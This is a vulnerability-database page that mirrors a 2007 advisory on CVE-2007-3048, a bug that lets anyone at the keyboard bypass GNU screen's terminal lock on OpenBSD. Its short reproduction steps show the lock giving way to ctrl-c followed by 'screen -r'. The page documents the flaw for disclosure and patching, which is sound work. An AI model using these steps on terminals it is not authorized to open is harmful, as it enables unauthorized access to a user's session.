Lucene search
+L

Screen 4.0.3 (OpenBSD) - Local Authentication Bypass

🗓️ 18 Jun 2008 00:00:00Reported by RembrandtType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Screen 4.0.3 Local Authentication Bypass on OpenBS

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-3048
18 Jun 200800:00
circl
CVE
CVE-2007-3048
5 Jun 200723:00
cve
Cvelist
CVE-2007-3048
5 Jun 200723:00
cvelist
Debian CVE
CVE-2007-3048
5 Jun 200723:00
debiancve
NVD
CVE-2007-3048
5 Jun 200723:30
nvd
OSV
BELL-CVE-2007-3048 CVE-2007-3048 does not affect BellSoft software
5 Jun 200723:30
osv
Prion
Design/Logic Flaw
5 Jun 200723:30
prion
Positive Technologies
PT-2007-4340 · Gnu +1 · Gnu Screen +1
5 Jun 200700:00
ptsecurity
Positive Technologies
PT-2017-16622 · Gnu +1 · Gnu Screen +1
9 Mar 201700:00
ptsecurity
UbuntuCve
CVE-2007-3048
5 Jun 200723:30
ubuntucve
Rows per page
                     _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author		 : Rembrandt
Date		 : 2007-06-03
Affected Software: screen <= 4.0.3
Affected OS	 : OpenBSD up to 4.4 (and propably others)
Type		 : Local Authentication Bypass

OSVDB		 : 39587
Milw0rm		 : 4028
CVE		 : 2007-3048
ISS X-Force:	 : 34693

screen, on some operating systems, is vulnerable to a local terminal screen
lock authentication bypass that may allow physically proximate attackers to
gain access to the system.

This issue has been confirmed on OpenBSD with screen 4.0.3 on x86/amd64.
The underlying vulnerability may be related to 3rd party authentication such
as PAM. This issue was tested on OpenSuSE with screen 4.0.2 and was not
vulnerable.


Steps to reproduce:

$ screen -S test
[Screened session starts]
$ id
uid=1001(test) gid=1001(test) groups=1001(test)
$
[type  ctrl-a x]
Key:  test
Again:  test
Screen used by test <test>.
Password:
[type  ctrl-c]
$ screen -r
[Regained access to screen, without password]

The screen lock mechanism is designed to lock a terminal, not the entire shell
session. If an attacker has shell access to the target account, it is understood
they can bypass protection. However, on the system tested, the screen lock
mechanism was bypassed using 'ctrl-c'.

The vulnerability is not in OpenBSD. screen developers indicate this is known
behavior, but do not appear to fully understand the scenario with which
this can be abused. Replies to my initial disclosure suggest this may be
related to PAM authentication, or another 3rd party package. Testing was
not performed to fully identify the vulnerable code.

Tobias Ulmer has committed a patch to the screen code that prevents
this exploit from happening.


Kind regards,
Rembrandt

# milw0rm.com [2008-06-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 27.2
EPSS0.00707
27